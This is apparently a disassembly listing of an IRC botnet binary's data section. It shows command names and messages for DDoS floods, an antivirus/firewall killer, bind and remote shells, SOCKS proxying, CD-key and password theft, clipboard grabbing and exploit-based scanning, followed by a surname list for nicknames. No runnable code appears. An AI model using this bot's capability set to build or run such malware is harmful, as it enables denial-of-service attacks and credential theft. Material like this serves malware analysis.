sub_40274D:loc_40499Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 10h unk_42EFD0 db 2Dh ; - ; DATA XREF: sub_40274D+2249o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_42EFF4 db 2Dh ; - ; DATA XREF: sub_40274D+21C8o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_24 db '- Failed to start server thread, error: <%d>.',0 align 10h unk_42F030 db 2Dh ; - ; DATA XREF: sub_40274D+216Fo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42F06C db 2Dh ; - ; DATA XREF: sub_40274D+209Do db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_25 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42F0A8 db 2Dh ; - ; DATA XREF: sub_40274D+2044o ; seg000:0040BAD0o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42F0E4 db 2Dh ; - ; DATA XREF: sub_40274D+1F31o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0 align 10h unk_42F120 db 2Dh ; - ; DATA XREF: sub_40274D+1ED8o ; seg000:0040B767o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 4 unk_42F154 db 2Dh ; - ; DATA XREF: sub_40274D+1E34o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_4 db ' Already running.',0 align 4 unk_42F174 db 2Dh ; - ; DATA XREF: sub_40274D:loc_40456Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_27 db '- Failed to start scan, port is invalid.',0 align 4 unk_42F1AC db 2Dh ; - ; DATA XREF: sub_40274D+1DBFo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_28 db '- Failed to start scan thread, error: <%d>.',0 align 4 unk_42F1E8 db 2Dh ; - ; DATA XREF: sub_40274D+1D60o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_40274D+1D35o ; sub_40274D+5909o align 10h aRandom db 'Random',0 ; DATA XREF: sub_40274D+1D2Eo ; sub_40274D+5902o align 4 unk_42F268 db 2Dh ; - ; DATA XREF: sub_40274D+1B80o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0 unk_42F2A8 db 2Dh ; - ; DATA XREF: sub_40274D+1B0Do db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_29 db 'Failed to start search thread, error: <%d>.',0 unk_42F2E4 db 2Dh ; - ; DATA XREF: sub_40274D+1AA3o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_40274D+1A66o align 10h aFindpass db 'findpass',0 ; DATA XREF: sub_40274D+1A55o align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_40274D+1A3Fo align 10h aPhonehome db 'phonehome',0 ; DATA XREF: sub_40274D+1A28o align 4 aScanall db 'scanall',0 ; DATA XREF: sub_40274D+19FEo dword_42F354 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h ; DATA XREF: sub_40274D+19B1o dd 746F6220h, 2Eh aCrash db 'crash',0 ; DATA XREF: sub_40274D+199Bo ; sub_40274D+19E8o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_40274D+1986o align 10h aTftpserver db 'tftpserver',0 ; DATA XREF: sub_40274D+1971o align 4 aHttp db 'http',0 ; DATA XREF: sub_40274D+195Co align 4 aHttpserver db 'httpserver',0 ; DATA XREF: sub_40274D+1947o align 10h aRlogin db 'rlogin',0 ; DATA XREF: sub_40274D+1932o align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: sub_40274D+191Do align 4 aCip db 'cip',0 ; DATA XREF: sub_40274D+1908o aCurrentip db 'currentip',0 ; DATA XREF: sub_40274D+18F3o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_40274D+18DEo align 10h aFlushdns db 'flushdns',0 ; DATA XREF: sub_40274D+18C9o align 4 aFarp db 'farp',0 ; DATA XREF: sub_40274D+18B4o align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_40274D+189Fo align 10h aGc db 'gc',0 ; DATA XREF: sub_40274D+188Ao align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_40274D+1875o unk_42F3FC db 2Dh ; - ; DATA XREF: sub_40274D+183Do db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_40274D+1822o ; sub_40274D+39C9o ... aSpoof db 'spoof',0 ; DATA XREF: sub_40274D+180Bo align 10h unk_42F430 db 2Dh ; - ; DATA XREF: sub_40274D+17F0o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_40274D+17BBo ; seg000:0040AF36o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_40274D:loc_403EF9o dword_42F464 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_40274D+1784o dword_42F478 dd 6F6877h ; DATA XREF: sub_40274D+1767o dword_42F47C dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_40274D+175Co aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40274D+1757o align 4 aCmdstop db 'cmdstop',0 ; DATA XREF: sub_40274D+1741o aOcmd db 'ocmd',0 ; DATA XREF: sub_40274D+172Co align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_40274D+1717o aDll db 'dll',0 ; DATA XREF: sub_40274D+1702o aTestdlls db 'testdlls',0 ; DATA XREF: sub_40274D+16EDo align 10h aDrv db 'drv',0 ; DATA XREF: sub_40274D+16D8o aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_40274D+16C3o align 10h aUp db 'up',0 ; DATA XREF: sub_40274D+16AEo ; sub_40274D+4864o align 4 aUptime db 'uptime',0 ; DATA XREF: sub_40274D+1699o align 4 aKey db 'key',0 ; DATA XREF: sub_40274D+1684o aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_40274D+166Fo align 4 aPs db 'ps',0 ; DATA XREF: sub_40274D+165Ao align 10h aProcs db 'procs',0 ; DATA XREF: sub_40274D+1645o align 4 aRm db 'rm',0 ; DATA XREF: sub_40274D+1630o align 4 aRemove db 'remove',0 ; DATA XREF: sub_40274D+161Bo align 4 aSi db 'si',0 ; DATA XREF: sub_40274D+1606o align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_40274D+15F1o aNi db 'ni',0 ; DATA XREF: sub_40274D+15DCo align 4 aNetinfo db 'netinfo',0 ; DATA XREF: sub_40274D+15C7o aClg db 'clg',0 ; DATA XREF: sub_40274D+15B2o aClearlog db 'clearlog',0 ; DATA XREF: sub_40274D+159Do align 4 aLg db 'lg',0 ; DATA XREF: sub_40274D+1588o align 10h aLog db 'log',0 ; DATA XREF: sub_40274D+1573o ; sub_424391:loc_424419o ... aAl db 'al',0 ; DATA XREF: sub_40274D+155Eo align 4 aAliases db 'aliases',0 ; DATA XREF: sub_40274D+1549o aT: ; DATA XREF: sub_40274D+1534o ; seg002:00442EE8o ... unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_40274D+151Fo unk_42F54C db 2Dh ; - ; DATA XREF: sub_40274D+14EEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 4 unk_42F574 db 2Dh ; - ; DATA XREF: sub_40274D+14E7o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 4 aReboot db 'reboot',0 ; DATA XREF: sub_40274D+14D0o align 4 aI: ; DATA XREF: sub_40274D+14BBo ; seg002:00442EF4o ... unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_40274D+14A6o align 4 aS_5: ; DATA XREF: sub_40274D+1491o ; seg002:00442F00o ... unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_40274D+147Co align 10h aQ: ; DATA XREF: sub_40274D+1467o ; seg002:off_442ED8o ... unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_40274D+1452o align 4 aDc db 'dc',0 ; DATA XREF: sub_40274D+143Do align 10h aDisconnect db 'disconnect',0 ; DATA XREF: sub_40274D+1428o align 4 aR: ; DATA XREF: sub_40274D+1413o ; sub_40274D+3ABFo ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_40274D+13FEo align 4 aExplist db 'explist',0 ; DATA XREF: sub_40274D+13E9o aExploitlist db 'exploitlist',0 ; DATA XREF: sub_40274D+13D4o aCbstats db 'cbstats',0 ; DATA XREF: sub_40274D+13BFo aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_40274D+13AAo align 4 aTrstats db 'trstats',0 ; DATA XREF: sub_40274D+1395o aTransferstats db 'transferstats',0 ; DATA XREF: sub_40274D+1380o align 4 aStats db 'stats',0 ; DATA XREF: sub_40274D+136Bo align 4 aScanstats db 'scanstats',0 ; DATA XREF: sub_40274D+1356o align 4 dword_42F638 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_40274D+134Bo aScan db 'Scan',0 ; DATA XREF: sub_40274D+1346o align 4 aScanstop db 'scanstop',0 ; DATA XREF: sub_40274D+1330o align 4 dword_42F658 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_40274D+1325o aSecure_0 db 'Secure',0 ; DATA XREF: sub_40274D+1320o align 10h aSecurestop db 'securestop',0 ; DATA XREF: sub_40274D+130Ao align 4 dword_42F67C dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_40274D+12FFo aClone db 'Clone',0 ; DATA XREF: sub_40274D+12FAo align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_40274D+12E4o align 10h aPsstop db 'psstop',0 ; DATA XREF: sub_40274D+12CFo align 4 aProcsstop db 'procsstop',0 ; DATA XREF: sub_40274D+12BAo align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_40274D+12A5o align 4 aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_40274D+1290o align 4 dword_42F6CC dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_40274D+1285o aTftpstop db 'tftpstop',0 ; DATA XREF: sub_40274D+126Ao align 4 aPingstop db 'pingstop',0 ; DATA XREF: sub_40274D+1244o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_40274D+121Eo aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_40274D+11F8o align 4 aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_40274D+11D2o unk_42F714 db 2Dh ; - ; DATA XREF: sub_40274D+11BBo db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42F748 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_40274D+1186o ; sub_40274D+1213o aWisdomAttack db 'Wisdom attack',0 ; DATA XREF: sub_40274D+1181o ; sub_40274D+120Eo align 4 dword_42F768 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_40274D+116Bo ; sub_40274D+11EDo aTsunamiFlood db 'Tsunami flood',0 ; DATA XREF: sub_40274D+1166o ; sub_40274D+11E8o align 4 dword_42F788 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_40274D+1114o ; sub_40274D+125Fo aPingFlood db 'Ping flood',0 ; DATA XREF: sub_40274D+110Fo ; sub_40274D+125Ao align 10h dword_42F7A0 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_40274D+10F9o ; sub_40274D+1239o aUdpFlood db 'UDP flood',0 ; DATA XREF: sub_40274D+10F4o ; sub_40274D+1234o align 4 aPacketstop db 'packetstop',0 ; DATA XREF: sub_40274D+109Do align 4 dword_42F7C4 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_40274D+1092o ; sub_40274D+114Do aWonkFlood db 'Wonk flood',0 ; DATA XREF: sub_40274D+108Do ; sub_40274D+1148o align 4 aWonkstop db 'wonkstop',0 ; DATA XREF: sub_40274D+1077o align 4 dword_42F7E8 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_40274D+106Co ; sub_40274D+1132o aTarga3Flood db 'Targa3 flood',0 ; DATA XREF: sub_40274D+1067o ; sub_40274D+112Do align 4 aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_40274D+1051o align 4 dword_42F814 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_40274D+1046o ; sub_40274D+11A4o aSkysynFlood db 'SkySyn flood',0 ; DATA XREF: sub_40274D+1041o ; sub_40274D+119Fo align 4 aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_40274D+102Bo align 10h dword_42F840 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_40274D+1020o ; sub_40274D+10DBo aSynFlood db 'Syn flood',0 ; DATA XREF: sub_40274D+101Bo ; sub_40274D+10D6o align 4 aSynstop db 'synstop',0 ; DATA XREF: sub_40274D+1005o dword_42F860 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_40274D+FFAo ; sub_40274D+10C0o aDdosFlood db 'DDoS flood',0 ; DATA XREF: sub_40274D+FF5o ; sub_40274D+10BBo align 4 aDdos_stop db 'ddos.stop',0 ; DATA XREF: sub_40274D+FDFo align 4 dword_42F884 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_40274D+FD4o aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_40274D+FCFo align 4 aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_40274D+FB9o align 4 dword_42F8B4 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_40274D+FAEo aLogList db 'Log list',0 ; DATA XREF: sub_40274D+FA9o align 4 aLogstop db 'logstop',0 ; DATA XREF: sub_40274D+F93o dword_42F8D4 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_40274D+F88o aHttpstop db 'httpstop',0 ; DATA XREF: sub_40274D+F6Do align 10h dword_42F8F0 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_40274D+F62o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_40274D+F47o align 4 dword_42F90C dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_40274D+F3Co aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_40274D+F21o align 4 aS4 db 's4',0 ; DATA XREF: sub_40274D+F0Co align 4 aSocks4 db 'socks4',0 ; DATA XREF: sub_40274D+EF7o align 4 dword_42F934 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_40274D+EECo aServer_0 db 'Server',0 ; DATA XREF: sub_40274D+EE7o ; sub_40274D+F37o ... align 10h aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_40274D+ED1o align 10h aBd db 'bd',0 ; DATA XREF: sub_40274D+EBCo align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_40274D+EA7o align 10h aUnsec db 'unsec',0 ; DATA XREF: sub_40274D+E92o align 4 aUnsecure db 'unsecure',0 ; DATA XREF: sub_40274D+E7Do align 4 aSec db 'sec',0 ; DATA XREF: sub_40274D+E68o ; sub_40274D+2B4Do aSecure db 'secure',0 ; DATA XREF: sub_40274D+E53o ; sub_40274D+2B3Co align 10h aSt db 'st',0 ; DATA XREF: sub_40274D+E3Eo align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: sub_40274D+E29o align 10h aDed db 'ded',0 ; DATA XREF: sub_40274D+E14o aDedication db 'dedication',0 ; DATA XREF: sub_40274D+DFFo align 10h aVer db 'ver',0 ; DATA XREF: sub_40274D+DEAo aVersion db 'version',0 ; DATA XREF: sub_40274D+DD5o aLo db 'lo',0 ; DATA XREF: sub_40274D+DC0o align 10h aLogout db 'logout',0 ; DATA XREF: sub_40274D+DABo align 4 aD_0: ; DATA XREF: sub_40274D+D96o ; sub_40FDC3+7Fo ... unicode 0, <d>,0 aDie db 'die',0 ; DATA XREF: sub_40274D+D81o aRn db 'rn',0 ; DATA XREF: sub_40274D+D6Co align 4 aRndnick_0 db 'rndnick',0 ; DATA XREF: sub_40274D+D54o a63 db '63',0 ; DATA XREF: sub_40274D+C4Do align 10h asc_42F9E0: ; DATA XREF: sub_40274D+C2Eo unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_40274D+BFAo align 4 aServer db '$server',0 ; DATA XREF: sub_40274D+BEFo aRndnick db '$rndnick',0 ; DATA XREF: sub_40274D+BDEo align 10h aChan db '$chan',0 ; DATA XREF: sub_40274D+BC5o align 4 aUser db '$user',0 ; DATA XREF: sub_40274D+BB7o align 10h aMe db '$me',0 ; DATA XREF: sub_40274D+BA5o aD_1 db '$%d',0 ; DATA XREF: sub_40274D+B43o aD db '$%d-',0 ; DATA XREF: sub_40274D+AA5o align 10h asc_42FA20: ; DATA XREF: sub_40274D+9D0o ; seg002:00442F1Co ... unicode 0, <l>,0 unk_42FA24 db 2Dh ; - ; DATA XREF: sub_40274D+995o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 unk_42FA58 db 2Dh ; - ; DATA XREF: sub_40274D+984o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_42FA88 db 2Dh ; - ; DATA XREF: sub_40274D+95Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_30 db '- Failed to start chat thread, error: <%d>.',0 align 10h unk_42FAC0 db 2Dh ; - ; DATA XREF: sub_40274D+905o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 10h aChat db 'CHAT',0 ; DATA XREF: sub_40274D+877o align 4 unk_42FAE8 db 2Dh ; - ; DATA XREF: sub_40274D+860o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 dword_42FB2C dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_40274D+830o dd 0A0Dh dword_42FB44 dd 4E495001h, 47h ; DATA XREF: sub_40274D+802o dword_42FB4C dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_40274D+7F7o dd 0D017325h, 0Ah dword_42FB68 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_40274D+7C9o dword_42FB74 dd 23h ; DATA XREF: sub_40274D+755o ; sub_40E916+1Bo unk_42FB78 db 2Dh ; - ; DATA XREF: sub_40274D+72Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_31 db '- Failed to start transfer thread, error: <%d>.',0 align 4 unk_42FBB4 db 2Dh ; - ; DATA XREF: sub_40274D+6CFo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 aSend_0 db 'SEND',0 ; DATA XREF: sub_40274D+638o align 4 dword_42FBEC dd 43434401h, 0 ; DATA XREF: sub_40274D+61Do dword_42FBF4 dd 323333h ; DATA XREF: sub_40274D+5BAo ; sub_40274D+9ECo ... unk_42FBF8 db 2Dh ; - ; DATA XREF: sub_40274D+54Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User: %s logged out.',0 align 4 unk_42FC1C db 2Dh ; - ; DATA XREF: sub_40274D+52Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: %s.',0 a353 db '353',0 ; DATA XREF: sub_40274D+4F9o aQuit db 'QUIT',0 ; DATA XREF: sub_40274D+4C2o align 4 aPart db 'PART',0 ; DATA XREF: sub_40274D+4B1o ; sub_40274D+564o align 10h aSS_1 db ':%s%s',0 ; DATA XREF: sub_40274D+48Co align 4 aNick db 'NICK',0 ; DATA XREF: sub_40274D+378o align 10h aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+322o ; sub_40274D+585o unk_42FC70 db 2Dh ; - ; DATA XREF: sub_40274D+307o ; sub_40274D+2C92o ... db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User %s logged out.',0 aKick db 'KICK',0 ; DATA XREF: sub_40274D+2ACo align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+263o ; sub_40274D+7874o ... align 4 a433 db '433',0 ; DATA XREF: sub_40274D+23Bo ; sub_41A6AE:loc_41A723o a@: ; DATA XREF: sub_40274D+213o unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_40274D+203o a005 db '005',0 ; DATA XREF: sub_40274D+1EEo a001 db '001',0 ; DATA XREF: sub_40274D+1D9o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+1BEo ; sub_40274D+365o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+1A1o align 4 aPing db 'PING',0 ; DATA XREF: sub_40274D+18Ao ; sub_41A6AE+4Eo align 4 asc_42FCDC: ; DATA XREF: sub_40274D+17Bo ; sub_40274D+7981o unicode 0, <!>,0 asc_42FCE0: ; DATA XREF: sub_40274D+A9o ; sub_40274D+D04o ... unicode 0, < >,0 asc_42FCE4 db ' :',0 ; DATA XREF: sub_40274D+87o ; sub_40274D:loc_403191o align 4 dword_42FCE8 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: sub_40A263+452o aFailedToSta_32 db '- Failed to start server, error: <%d>.',0 align 4 dword_42FD1C dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: sub_40A263+407o aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 unk_42FD48 db 2Dh ; - ; DATA XREF: sub_40A263+3DAo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 4 unk_42FD88 db 2Dh ; - ; DATA XREF: sub_40A263+389o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_42FDAC dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: sub_40A263+34Eo dd 2E646574h, 0 aSDS db '%s %d "%s"',0 ; DATA XREF: sub_40A263+279o align 4 aSS_0 db '%s\%s',0 ; DATA XREF: sub_40A263+182o ; sub_4185EA+7Eo ... align 4 aSS db '%s%s',0 ; DATA XREF: sub_40A263+106o ; sub_412135+4CFo ... align 4 aZytowski db 'Zytowski',0 ; DATA XREF: seg002:0043D758o align 10h aZwiers db 'Zwiers',0 ; DATA XREF: seg002:0043D754o align 4 aZurn db 'Zurn',0 ; DATA XREF: seg002:0043D750o align 10h aZucconi db 'Zucconi',0 ; DATA XREF: seg002:0043D74Co aZoldak db 'Zoldak',0 ; DATA XREF: seg002:0043D748o align 10h aZerbini db 'Zerbini',0 ; DATA XREF: seg002:0043D744o aZegans db 'Zegans',0 ; DATA XREF: seg002:0043D740o align 10h aZangwill db 'Zangwill',0 ; DATA XREF: seg002:0043D73Co align 4 aZahedi db 'Zahedi',0 ; DATA XREF: seg002:0043D738o align 4 aZachary db 'Zachary',0 ; DATA XREF: seg002:0043D734o aYu db 'Yu',0 ; DATA XREF: seg002:0043D730o align 10h aYoukSee db 'Youk-See',0 ; DATA XREF: seg002:0043D72Co align 4 aYoo db 'Yoo',0 ; DATA XREF: seg002:0043D728o aYoffe db 'Yoffe',0 ; DATA XREF: seg002:0043D724o align 4 aYetiv db 'Yetiv',0 ; DATA XREF: seg002:0043D720o align 10h aYesson db 'Yesson',0 ; DATA XREF: seg002:0043D71Co align 4 aYedidia db 'Yedidia',0 ; DATA XREF: seg002:0043D718o aYbarra db 'Ybarra',0 ; DATA XREF: seg002:0043D714o align 4 aYates db 'Yates',0 ; DATA XREF: seg002:0043D710o align 10h aYarchuk db 'Yarchuk',0 ; DATA XREF: seg002:0043D70Co aYankee db 'Yankee',0 ; DATA XREF: seg002:0043D708o align 10h aYamane db 'Yamane',0 ; DATA XREF: seg002:0043D704o align 4 aYacono db 'Yacono',0 ; DATA XREF: seg002:0043D700o align 10h aVotey db 'Votey',0 ; DATA XREF: seg002:0043D6FCo align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: seg002:0043D6F8o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: seg002:0043D6F4o align 10h aWoods db 'Woods',0 ; DATA XREF: seg002:0043D6F0o align 4 aWooden db 'Wooden',0 ; DATA XREF: seg002:0043D6ECo align 10h aWoo db 'Woo',0 ; DATA XREF: seg002:0043D6E8o aVonhoffman db 'VonHoffman',0 ; DATA XREF: seg002:0043D6E4o align 10h aWolk db 'Wolk',0 ; DATA XREF: seg002:0043D6E0o align 4 aVoigt db 'Voigt',0 ; DATA XREF: seg002:0043D6DCo align 10h aViviani db 'Viviani',0 ; DATA XREF: seg002:0043D6D8o aVitali db 'Vitali',0 ; DATA XREF: seg002:0043D6D4o align 10h aWilson db 'Wilson',0 ; DATA XREF: seg002:0043D6D0o align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: seg002:0043D6CCo aVillarreal db 'Villarreal',0 ; DATA XREF: seg002:0043D6C8o align 10h aWilkinson db 'Wilkinson',0 ; DATA XREF: seg002:0043D6C4o align 4 aWilkin db 'Wilkin',0 ; DATA XREF: seg002:0043D6C0o align 4 aWilk db 'Wilk',0 ; DATA XREF: seg002:0043D6BCo align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: seg002:0043D6B8o aWilder db 'Wilder',0 ; DATA XREF: seg002:0043D6B4o align 4 aVignola db 'Vignola',0 ; DATA XREF: seg002:0043D6B0o aViens db 'Viens',0 ; DATA XREF: seg002:0043D6ACo align 4 aWiener db 'Wiener',0 ; DATA XREF: seg002:0043D6A8o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: seg002:0043D6A4o aViano db 'Viano',0 ; DATA XREF: seg002:0043D6A0o align 4 aViana db 'Viana',0 ; DATA XREF: seg002:0043D69Co align 10h aWhittaker db 'Whittaker',0 ; DATA XREF: seg002:0043D698o align 4 aWhitla db 'Whitla',0 ; DATA XREF: seg002:0043D694o align 4 aWhite db 'White',0 ; DATA XREF: seg002:0043D690o align 4 aWhilton db 'Whilton',0 ; DATA XREF: seg002:0043D68Co aWhately db 'Whately',0 ; DATA XREF: seg002:0043D688o aWetzel db 'Wetzel',0 ; DATA XREF: seg002:0043D684o align 4 aWescott db 'Wescott',0 ; DATA XREF: seg002:0043D680o aVerghese db 'Verghese',0 ; DATA XREF: seg002:0043D67Co align 4 aVenne db 'Venne',0 ; DATA XREF: seg002:0043D678o align 10h aWengret db 'Wengret',0 ; DATA XREF: seg002:0043D674o aWelsh db 'Welsh',0 ; DATA XREF: seg002:0043D670o align 10h aWelles db 'Welles',0 ; DATA XREF: seg002:0043D66Co align 4 aVelasquez db 'Velasquez',0 ; DATA XREF: seg002:0043D668o align 4 aWeissman db 'Weissman',0 ; DATA XREF: seg002:0043D664o align 10h aWeissbourd db 'Weissbourd',0 ; DATA XREF: seg002:0043D660o align 4 aWeinhaus db 'Weinhaus',0 ; DATA XREF: seg002:0043D65Co align 4 aWeingarten db 'Weingarten',0 ; DATA XREF: seg002:0043D658o ; seg002:off_43FE84o align 4 